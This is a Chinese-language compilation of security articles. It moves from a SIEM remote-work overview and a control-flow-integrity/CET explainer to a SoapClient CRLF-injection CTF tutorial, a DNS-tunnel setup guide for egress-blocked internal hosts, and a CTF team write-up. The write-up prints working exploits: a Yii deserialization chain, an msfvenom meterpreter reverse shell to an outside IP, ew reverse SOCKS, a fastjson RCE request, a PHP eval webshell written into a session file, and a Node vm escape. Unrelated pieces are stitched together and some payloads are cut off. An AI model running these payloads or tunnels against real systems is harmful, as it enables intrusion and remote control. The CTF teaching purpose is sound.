若要重新获得可视性,安全团队可以结合采用端点操作系统 (OS)、VPN 和端点检测与响应 (EDR) 事件来进行威胁检测。借助 Windows、macOS 和 Linux 的本地日志记录,安全团队可以洞悉端点级别发生的情况。通过使用 Sysmon 扩展 Windows 事件日志记录,团队可以获得更深入的威胁相关洞察力,例如流程活动和域名系统 (DNS) 请求。
对于使用 EDR 解决方案(例如 Carbon Black 或 CrowdStrike)的组织,可以将端点安全事件发送到集中式 SIEM 解决方案,并与其他企业数据相关联,以实现端到端威胁可视性。一旦 EDR 与 SIEM 进行了紧密集成,便可以直接从 SIEM 界面启动响应操作。最后,当用户登录 VPN 或通过基于风险的身份验证访问应用时,这些解决方案可以洞悉有关端点位置、MAC 地址、用户代理以及其他有价值的信息,进而提供这是否是真实用户的洞察力。
一旦通过单个位置收集了这些宝贵的数据,安全团队便可运用一系列机器学习和基于相关性的分析来检测已知和未知威胁。对于安全运营团队而言,寻找可提供预构建安全用例和分析的 SIEM 供应商尤为有用,这样他们就不必花费时间和金钱从头开始研究和开发这些产品。
应用
应用活动的监控应是团队的主要重点,因为与监控端点不同,组织即使在网络之外也仍然可以控制应用活动。应用监控还有助于暴露网络中已存在的攻击者。应用监控可以在多个级别上执行:
通过身份即服务 (IDaaS) 解决方案(例如 Cloud Identity Connect 或 Okta 登录时。
直接通过 SAP、SalesForce.com 或 Office 365 等应用登录、注销时。
通过 Zscaler 等云访问安全代理 (CASB) 解决方案来监控谁正在访问或试图访问哪些应用。
直接在应用堆栈内,包括 OS 容器编排平台(如 Kubernetes)、容器本身和这些环境中的 API 调用。
云
由于许多物理数据中心暂时关闭,因此组织迫切需要将 IT 系统的现场物理维护需求降至最低。许多组织已迅速加速了云基础架构的采用,为其工作负载和应用提供支持,以维持业务连续性。由于许多此类迁移已经进行了规划(通常只是按照随后的时间表进行),因此大多数安全团队都应期望这些投资能够继续保持。
为了更早地了解这些环境中的风险和威胁,安全团队可以监控一系列事件,包括用户活动、应用活动以及资源和配置更改。幸运的是,主要的公有云供应商(例如 AWS、IBM、Azure 和 Google Cloud))均提供了丰富的日志、事件和网络流数据集,这些可引入到集中式 SIEM 解决方案之中,进而实现内部和多云环境中的可视性和检测。
总结
由于正在快速转移到远程工作模式,许多 IT 组织现在已经部署了支持远程员工的技术。在过去的数月中,员工已经证明他们居家办公也可以保持较高的生产效率。随着我们迈向新常态,即将发生的一项明显变化就是更加灵活、对远程友好的工作策略。在此情况下,安全运营团队需要一种可持续的长期战略,以在具有新盲点且几乎没有任何剩余外围的网络上保持可视性和威胁检测。
通过加倍增加集中式安全分析,特别是网络钓鱼、端点、应用和云安全用例,安全分析人员可以获得新的洞察力,弥补丢失的可视性并最终帮助增强组织的安全态势。在如今安全团队由于远程工作而精疲力尽的时代,组织可以考虑部署具备以下优势的 SIEM 解决方案:能够在任何环境(包括 SaaS 或公有云)中运行、能够提供预构建用例,让检测变得更轻松并提高总体价值,同时能够提供与 SOAR 解决方案(如 Resilient)的紧密集成,进而加快端到端威胁检测、调查和响应周期。
cfi那些事(1)
控制流完整性
针对于漏洞利用,最终的效果和目的就是劫持控制流,控制目标程序做一些他本来做不了的事情。可以达到这一目的的方式有很多,比如ROP、劫持函数指针等等。而这些都来自于软件中一些漏洞,如缓冲区溢出、释放后利用等等。最初防御的方式就是头疼医头,脚疼医脚,哪里出现了漏洞比如缓冲区溢出,我们就检查一下内存边界,或者在边界处设置一个cookie(canary)。
或许是漏洞多的补不过来,之前的防御方式不能很好的完成防御计算机被破坏的工作,原本的防御方式经过几轮较量后衍生出了很多绕过方式,这些攻击手法就是现代漏洞利用技术的核心,比如ROP。如果攻击者通过层层阻挠,到达了执行ROP这一步,那么后续的路基本就畅通无阻了,因为之前并没有防御ROP的有效方式。
CFI即Control Flow Integrity控制流完整性就是指程序运行时控制流的合法性。这一步概念被提出来主要就是为了针对ROP的防御。可以将程序运行看作是一辆车在路上跑,开发者遵循的安全开发准则,比如说严格控制好边界等可以看作是司机在路上遵守交通规则;而之前的防御如canary等内存边界检查机制可以理解为马路边上的防护栅栏;而CFI验证可以看作是车内的安全气囊、安全带等装置。
那么这个CFI验证具体干什么呢不管一个程序有多复杂,他所能覆盖到的代码分枝路线以及行为虽然很多,但是不是无限的,他的活动范围总会有一个边界。如果一个攻击者通过程序中的漏洞控制了这个程序,那么攻击者肯定不会满足于程序本身给提供的代码分枝进行执行,总会超过这一边界,去执行一些程序中本来没有的逻辑。
CFI验证顾名思义,就是确保程序在预期的范围内执行。针对于这一思路,目前已经有很多的实现方式。
windows cfg
cfg全称就是Control Flow Guard,即控制流保护。其主要思路就是在间接跳转前后插入一段代码,用于验证其有效性。
为什么是间接跳转呢?因为直接跳转写死在代码段,攻击者利用不了。
如何验证其有效性呢?在编译时会记录各个间接跳转函数的地址,生成一个白名单,在函数发生间接跳转时就会对照这一白名单,如果在白名单里面,皆大欢喜,不在的话那就抛出异常。
那么具体怎么做的呢?这里偷个懒,引用下其他前辈的文章:
https://xz.aliyun.com/t/2587https://www.anquanke.com/post/id/85493https://blog.csdn.net/cssxn/article/details/101285088https://blog.csdn.net/stevegao_tencent/article/details/43486485?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.essearc
然而CFG也有缺点,也就是绕过方法,比如他没有防御返回地址、SEH指针等,可以攻击这些没有被CFG防御的区域.同样,由于CFG依赖白名单,而这一白名单是在编译时生成的,他没有扩展性,所以一些临时生成代码比如JIT生成的代码就没有CFG保护。
发展
对于CFI验证,学术界提出了很多相应的解决办法。对于这种底层的验证方案,不光要考虑可行性和安全性,同时效率也是不可忽视的一个重要因素。各种专家学者提出了很多的方案,这篇文章中做了一些简要的介绍:
https://www.inforsec.org/wp/?p=495控制流劫持的末日——CET
或许是厌倦了软件防护花里胡哨的算法以及效率的折衷,intel提出了一个似乎更佳完美的解决方案:CET。
这个CET全称是Control-flow Enforcement Technology,并不是大学英语等级考试的CET。
研究者们似乎将分支跳转分成了两类,第一类是向前跳转,即call、jmp类型指令,第二类是后向跳转,也就是ret型指令。
那么众所周知,劫持控制流就是控制RIP指针,而RIP指针只能通过上述的两类指令进行修改,所以控制流劫持的攻击手段也都是针对于这些指令做文章。蛇打七寸,intel的CET防护措施似乎正好将剑戳进了控制流劫持的心窝。
奇怪的指令——endbr64
起初并没有刻意的去参阅有关资料,而是在新版本的编译器中发现了一个奇怪的指令:endbr64,于是乎google一下,属实吓得不轻。
intel在硬件层面实现了对控制流完整性的相应检查防御措施,而这个奇怪的指令endbr64就是其中之一。
这个endbr64指令在旧版本的cpu中会被当作NOP指令,而在新的cpu中其实也是个空操作指令,但是会被当作一个标志,用于监控间接跳转,他会出现在函数的开头位置。
具体来说,就是当发生间接跳转时,cpu会从IDLE状态转换为WAITING状态,在WAITING状态的cpu运行的下一条指令必须为endbr64,如果不是的话,那么直接抛出一个异常,是的话CPU就转为IDLE状态继续执行。
The ENDBRANCH (see Section 73 for details) is a new instruction that is used to mark valid jump target addresses of indirect calls and jumps in the program. This instruction opcode is selected to be one that is a NOP on legacy machines such that programs compiled with ENDBRANCH new instruction conti
IF EndbranchEnabled(CPL) & EFER.LMA = 1 & CS.L = 1
IF CPL = 3
THEN
IA32_U_CET.TRACKER = IDLE
IA32_U_CET.SUPPRESS = 0
ELSE
IA32_S_CET.TRACKER = IDLE
IA32_S_CET.SUPPRESS = 0
FI
FI;
ROP的落幕 —— shadow stack
针对于ROP攻击,intel的CET策略是采用一个影子栈,专门用来记录返回地址等信息。
具体工作原理就是:
当运行call指令时,会同时向用户栈和影子栈压入返回地址。而当运行ret指令时,会讲用户栈弹出的返回地址与影子栈中弹出的返回地址做一个比较,若不相同则抛出异常。
那么这个影子栈存储在哪里呢?intel专门为这个影子栈策略提供了相应的寄存器和指令,分别为SSP(shadow stack pointer)和影子栈操作指令:
INCSSP – increment SSP (i.e. to unwind shadow stack)
RDSSP – read SSP into general purpose register
SAVEPREVSSP/RSTORSSP – save/restore shadow stack (i.e. thread switching)
具体的指令有哪些,这里我就没有细究,有兴趣可以翻阅intel文档。
https://binpwn.com/papers/control-flow-enforcement-technology-preview.pdf结语
从最初简单的栈溢出执行shellcode到ROP,再到堆溢出利用,花式劫持虚函数指针,轰轰烈烈持续了几十年的内存破坏漏洞似乎在最近可预见的未来要到一个尾声了。似乎后CET时代的黑客们只能投机取巧攻击一些老旧的未被CET保护的设备,防御的成本越来越低,而攻击的成本则越来越高。而漏洞的攻防战还没结束,测信道、逻辑漏洞等等目前还是没有一个统一有效的保护措施,学无止境,学吧。
SoapClient原生类在开发以及安全中利用
Soap模块的安装:
PHP使用SOAP协议调用接口,需要安装soap模块插件,在使用之前使用phpinfo()方法输出判断安装的PHP是否已安装了该插件。
SoapClient原生类介绍:
SoapClient采用HTTP作为底层通讯协议,XML作为数据传送的格式。
SoapClient原生类官方介绍如下:
class SoapClient {
/* Methods */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}
可以看到,根据以上代码,在新建一个SoapClient的类对象的时候,需要有两个参数,一个是字符串形式的wsdl,另一个是数组形式的options。而wsdl在开发中十分常见,在安全中用的比较少,因此接下来的的部分篇幅,将分为SoapClient在开发中的应用以及SoapClient在安全中的应用这两块。
SoapClient在开发中的应用
wsdl这参数之所以在开发中如此常用,是因为它能非常快速的调用现成接口。
用一个实例代码介绍一下wsdl参数:
<?php
$url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";
$client = new SoapClient($url);
$params = array(
"qqCode" => "1043045300"
);
$result = $client->qqCheckOnline($params);
print_r($result);
?>
执行结果如下:
stdClass Object
(
[qqCheckOnlineResult] => Y
)
其中url中的值是QQ开放的WSDL接口,在这个接口中qqCheckOnline方法可以用来查询QQ是否在线
当然,也可以执行以下代码,查询QQ开放的WSDL接口还支持哪些类型以及方法:
<?php
$url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";
$client = new SoapClient($url);
print_r($client->__getTypes());
print_r($client->__getFunctions());
?>
执行结果如下:
Array
(
[0] => struct qqCheckOnline {
string qqCode;
}
[1] => struct qqCheckOnlineResponse {
string qqCheckOnlineResult;
}
)
Array
(
[0] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)
[1] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)
)
根据上方的两个例子,我们对SoapClient原生类应该有了部分了解。
但是由于SOAP协议本质上其实还是HTTP协议,只是改变了传输过程中的内容为XML形式,而在实际开发过程中,更有些接口对于请求的HTTP头也做一些校验限制,因此需要设置HTTP的请求头以适应需求。
有关设置HTTP请求头的下面的篇幅会讲到。
SoapClient在安全中的应用
由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。
因此在CTF中通常会出现一种存在调用不存在的方法、并且需要我们伪造请求头的题目。
这种时候,SoapClient正好可以给我们解决问题。
下面拿一个例题来详细讲解SoapClient在CTF中是如何运用的。
首先题目是给了flag.php的源码,源码如下:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
打开题目后,内容如下:
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
我们先审计flag.php,前半部分是对XFF头进行了处理:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
explode() 函数可以把字符串打散为数组。
array_pop() 弹出并返回 array 数组的最后一个单元,并将数组 array 的长度减一。
这三行代码实际上就是,将服务器得到的XFF的最后一个删除,留下的是倒数第二个。
假如我们有以下代码:
<?php$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);print_r($ip);
当我们XFF传入以下内容:
127.0.0.1 #返回:空127.0.0.1,127.0.0.2 #返回:127.0.0.1127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2
接下来我们审计index.php的代码
<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
可以看到对传入的vip参数进行反序列化,并且调用getFlag方法,显然此处没有类定义了getFlag这个方法,因此我们考虑利用SoapClient原生类调用未知方法后执行call魔术方法,然后构造请求读取flag.php
接下来,我们手动在本地做测试:
我们有如下代码,其中uri中的9998端口是为了和location中的9999端口做区分:
<?php$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));$client->getFlag();
然后我们nc监听9999端口
nc -lvvp 9999
刷新页面之后,可以得到以下请求内容:
仔细观察后,发现是一个POST请求,并且SOAPAction的值是可控的
但是仅仅依靠这一处,没有办法伪造整一个POST请求,因为Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一般情况下POST传递参数的格式都是表单形式的(application/x-www-form-urlencoded)
因此我们可以想办法伪造User-Agent头:
修改后的代码如下:
<?php$ua = "Lxxx";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));$client->getFlag();
nc监听后,得到的结果如下:
可以看到,User-Agent也被注入进去了,此时,User-Agent就成为了我们的可控参数
当User-Agent成为了我们的可控参数后,User-Agent下方的Content-Type也同样可以被伪造,利用\r\n换行即可伪造
再次修改后的代码如下:
<?php$ua = "Lxxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));$client->getFlag();
代码中有几个注意的点
因为$ua中用到了\r\n这两个换行符,因此要用双引号包裹
HTTP请求头之间的参数用一组\r\n分割即可
HTTP请求头与POSTDATA之间要用两个\r\n分割.
设置User-Agent时,应写成user_agent
同样的,nc监听后,结果如下:
其中紫色方框中的是有效的HTTP请求,因为我们设置了Content-Length的值为13,超出13个字符以外的都会被服务器丢弃,所以影响不大。
在本地测试完成了,接下来我们将相关参数修改与题目相对应。
修改后的payload如下:
<?php$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));print_r(urlenco
得到结果:
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%
然后传入payload:
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+applica
这样flag就被写到了flag.txt中,访问之后即可拿到flag:
但是这题本身是可以直接访问flag.php页面,伪造请求头得到flag的。
不过当有了cloudfare代理,无法直接在本地伪造请求头时,就需要利用SoapClient类来构造请求。
实验名称:https://www.yijinglab.com/expc.do?ce=0fbc7585-56ba-4598-87ce-bd8e7504d00b
内网渗透之DNS隧道搭建(1)
前言
年初有幸参加了一次hvv,我主要负责内网渗透的部分,包括代理搭建,横向移动等等。那个时候,也是刚刚接触内网没两个月,赶鸭子上架的学了一下就上了战场。好在运气不错,通过weblogic的反序列化RCE拿到系统权限,后来发现了一个尴尬的问题,目标主机不出网,借助搜索引擎,大佬们都在用reGeorgh和Pystinger,这两款工具都是使用webshell来进行socks代理,进而穿透内网,后面确实也达到目的,进内网水了波分。回学校复盘的时候,发现还有一种更厉害的姿势。。。搭建DNS隧道。
DNS隧道介绍
DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。
DNS隧道搭建工具推荐
DNS隧道搭建的工具有很多,包括iodine,dns2tcp,dnscat等,综合体验了一下,还是推荐大家使用iodine,非常的简单方便。
前置准备
因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名,这里以腾讯云为例:
第一条A类记录,告诉域名系统,"dns.xxx.com"的IP地址是"175.xxx.xxx.xxx"
第二条NS记录,告诉域名系统,"dns2tcp.xxx.com"的域名由"dns.xxx.com"进行解析。
最后这条"dns2tcp.xxx.com"的DNS就会被"175.xxx.xxx.xxx"的主机(也就是我们的VPS),给解析掉。
配置完之后,可以ping一下dns.xxx.com,观察是否能ping通。
iodine进行隧道搭建
1.安装iodine,这里以Linux为例,如果是Windows系统,就下载安装对应版本的iodine即可。
apt-get install iodine
2.在VPS上运行iodine的服务端iodined,运行之后VPS上会多一个虚拟网卡地址:
iodined -f -c -P d1m0n 192.168.0.1 dns2tcp.xxx.com -DD
#-f:在前台运行
#-c:禁止检查所有传入请求的客户端IP地址。
#-P:客户端和服务端之间用于验证身份的密码。
#-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
#这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突
#注意!填写的地址为NS记录
3.运行客户端iodine,这里使用kali,kali默认是安装好iodine的:
iodine -f -P d1m0n dns2tcp.xxx.com -M 200
#-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
#-M:指定上行主机的大小。
#-m:调节最大下行分片的大小。
#-f:在前台运行
#-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
#-O:指定数据编码规范。
#-P:客户端和服务端之间用于验证身份的密码。
#-L:指定是否开启懒惰模式,默认开启。
#-I:指定两个请求之间的时间间隔。
两条命令,DNS隧道就已经搭好了,可以ping一下我们的VPS(ip:192.168.0.1)看一下,是否能通:
到此,我们的任务只完成一半,对内网渗透来说,我们肯定是要横向移动的。DNS隧道帮助我们出网,还需要再搭建一个socks代理便于我们横向移动,socks代理工具很多,这里介绍一个比较简单轻便的--ssh,ssh通常都用来登录远程主机,传输的内容全部经过加密处理,同样它内置了命令可以作为代理服务器使用。这里假设,我们把恶意DNS服务器作为跳板机,kali作为攻击机器,在kali这边配置一下:
ssh -N -D 8080 user@192.168.0.1
#-N 指示SSH不要启动shell,因为我们只是想创建代理
#-D 设置动态端口转发,SOCKS代理端口为8080
#user 我们服务器上的用户
#192.168.0.1 tun接口上的iodine服务器
输入完VPS的ssh密码之后,就开始进行转发,这里配置一下proxychains4
vim /etc/proxychains4.conf
最后验证一下我们的代理有没有搭好:
proxychains4 curl http://www.baidu.com
大功告成,后面就是内网漫游时间~
实验名称:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014111916340800001
祥云杯题解
bad_cat战队WRITEUP
一、 战队信息
战队名称:bad_cat
战队排名:6
二、 解题情况
三、 解题过程
web
1、**ezyii**
网上搜yii的1day
https://xz.aliyun.com/t/9948#toc-6 思路类似于第四条链子
exp:
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo base64_encode(serialize(new RunProcess()));
}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){system('cat /flag.txt');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}
然后post就行
flag{19fefeeb-989a-4017-8001-7af62b9e511b}
2、**层层穿透**
直接传jar可以反弹shell进内网入口
参考 https://blog.csdn.net/cainiao17441898/article/details/118877408
msfvenom -p java/meterpreter/reverse_tcp LHOST=82.157.25.143 LPORT=11112 -f jar > rce111.jar
use exploit/multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set lhost 82.157.25.143
set lport 11112
run -j
先监听后上传,就不会报500的错误了
此时再去submit
sessions
sessions id 执行拿到shell再 bash -i 2>&1 ,上传一个ew内网穿透(https://github.com/idlefire/ew),chmod下
msf的upload shell执行
./ew -s rssocks -d 82.157.25.143 -e 18888
扫描c段,看10.10.1.11:8080
post登陆
抓个包拿session
Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112
源码解压看pom.xml依赖
漏洞点在fastjson,
先post admin/123456登陆 /doLogin
再参考https://github.com/safe6Sec/Fastjson 构造rce的post
注意要大于2w
POST /admin/test HTTP/1.1
Host: 10.10.1.11:8080
Content-Type: application/json
cmd: cat /flag
Content-Length: 31124
Cookie: JSESSIONID=DF20EA8AA43E4B62E2CEED904810B112
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400
"a":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
}
flag{966fc4a2-e291-4136-84be-5bfd19b949e2}
3、**安全检测**
读http://127.0.0.1读到源码
可以读到/etc/passwd
http://127.0.0.1/admin/include123.php?u=/etc/passwd
读到session
http://127.0.0.1/admin/include123.php?u=/tmp/session_ef81f6c1aca58c2b24f9d63bf77dba07
http://127.0.0.1/admin/include123.php?u=/etc/passwd#<?php eval(base64_decode('c3lzdGVtKCcvZ2V0ZmxhZy5zaCcpOw=='));?>输入就可以写到session里面了
用#注释掉后面的一句话木马,不被访问,要的是这个路由,记录路由后,再换个浏览器的phpsession访问一下即可
ls发现了/getflag.sh 因为过滤了flag,base一下才行
flag{c2c15ff3-0341-49f0-9997-36b107b9cf3a}
4、**crawler_z**
第一次我注册的yenan/yenan,填写profile后观察url出现token1
第二次admin/admin,直接ssrf伪造/user/verify?token=token1
可以指定爬取
vps启动一个http
Python -m SimpleHTTPServer 11111
然后去访问 http://82.157.39.20:11111/escape.html#oss-cn-beijing.ichunqiu.com
读到了,后面构造js的vm逃逸,document.write直接在html里面写,省去外带了
<script>
document.write(this.constructor.constructor.constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString());
</script>
flag{f0425be6-3e46-472a-8879-e19525839caf}
5、Secrets_Of_Admin
源码拿到
admin@e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645
登陆
js的数组绕过,这样检测就没有某个元素绕不过正则了,写checksum为crhyyds,提交post时候url编码下
content[]=%3Cscript%3Elocation.href%3D%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin&filename%3D..%2Ffiles%2Fflag&checksum%3Dcrhyyds%22%3B%3C%2Fscript%3E
得到flag为:flag{65453076-effe-48dc-98d5-d0d235f766f8}
reverse
1、**Rev_APC**
生成dll代码
知道了 sha3-256,但是后面并没用上。
核心逻辑:在dll的0x1800015C0函数中,与sys有两种方式通信。
dll的0x1800015C0函数中调用了NtRequestWaitReplyPort,这个sys中有NtReplyWaitReceivePort函数负责接收。sys真正处理数据的函数0x14000298C,算法比较好看懂。
dll中调用DeviceIOControl,对应sys中的函数为0x140003660。
后面就是看算法了。
exp:
from zio import *
def fun6(a, b):
for i in range(32):
c = a[i]
if (c >= 33) & (c <= 79):
a[i] = (c - 80) & 0xff
b[i] = (b[i]+a[i])&0xff
elif (c >= 81) & (c <= 127):
a[i] = c - 48
b[i] ^= (a[i] >> 4)
elif (c > 128):
a[i] = c - 48
b[i] = (b[i]-a[i])&0xff
return a, b
def defun6(a, b):
for i in range(32):
c = a[i]
if (c >= 33) & (c <= 79):
a[i] = (c - 80) & 0xff
b[i] = (b[i]-a[i])&0xff
elif (c >= 81) & (c <= 127):
a[i] = c - 48
b[i] ^= (a[i] >> 4)
elif (c > 128):
a[i] = c - 48
b[i] = (b[i]+a[i])&0xff
return a, b
def fun5(a, b):
for i in range(32):
b[i] ^= a[i]
return a, b
def fun4(a, b):
for i in range(32):
a[i] = (a[i] - 80) & 0xff
for i in range(16):
b[2 * i] ^= (16 * a[2 * i]) & 0xff
b[2 * i + 1] ^= ((a[2 * i]) >> 4) & 0xf
return a, b
def fun3(a, b):
for i in range(32):
b[i] ^= a[i]
return a, b
def fun2(a, b):
for i in range(32):
a[i] = (a[i] - 80) & 0xff
b[i] ^= ((a[i]>>4)&0xf) | ((a[i]<<4)&0xf0)
return a, b
def fun1(a, b):
for i in range(32):
a[i] = (a[i]+16)&0xff
b[i] ^= a[i]
return a, b
def enc():
b = [ord(c) for c in 'flag{12345678901234567890123456}']
#b = [91, 36, 164, 45, 64, 21, 144, 29, 194, 5, 189, 39, 240, 29, 80, 137, 178, 73, 216, 105, 177, 245, 80, 59, 99, 154, 94, 170, 79, 175, 153, 126]
'''
a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0e1774e3b7389e5'.decode('hex')
a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC]
a4 = []
for i in range(32):
a4.append(ord(a3[i])^a2[i%len(a2)])
'''
a = []
a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC, 0, 0, 0, 0, 0]
for i in range(32):
c = 0
for j in range(i+1):
c ^= a2[j]
a.append(c)
orders = [0, 5, 5, 2, 2, 3, 4, 4, 3, 2, 0, 3, 0, 3, 2, 1, 5, 1, 3, 1, 5, 5, 2, 4, 0, 0, 4, 5, 4, 4, 5, 5][::-1]
print '----------'
for i in range(32):
print a,','
if orders[i] == 0:
fun1(a, b)
elif orders[i] == 1:
fun2(a, b)
elif orders[i] == 2:
fun3(a, b)
elif orders[i] == 3:
fun4(a, b)
elif orders[i] == 4:
fun5(a, b)
elif orders[i] == 5:
fun6(a, b)
print '----------'
print (b)
def get_aas2(orders):
b = [ord(c) for c in 'flag{12345678901234567890123456}']
a = []
a3 = '9d5f741799d7e62274f01963516316d2eb6888b737bab0a2b0e1774e3b7389e5'.decode('hex')
a2 = [0xA5, 0xCF, 0xCD, 0xD6, 0xC5, 0xC3, 0xB1, 0xC5, 0xD2, 0xD9, 0xD7, 0xC7, 0xD6, 0xCD, 0xD4, 0xD8, 0xC3, 0xBB, 0xCD, 0xD8, 0xCC, 0xC3, 0xB0, 0xC5, 0xD8, 0xC9, 0xDC]
a4 = []
for i in range(32):
a4.append(ord(a3[i])^a2[i%len(a2)])
for i in range(32):
c = 0
for j in range(i+1):
c ^= a4[j]
a.append(c)
aas = []
for i in range(32):
aas.append(a[:])
if orders[i] == 0:
fun1(a, b)
elif orders[i] == 1:
fun2(a, b)
elif orders[i] == 2:
fun3(a, b)
elif orders[i] == 3:
fun4(a, b)
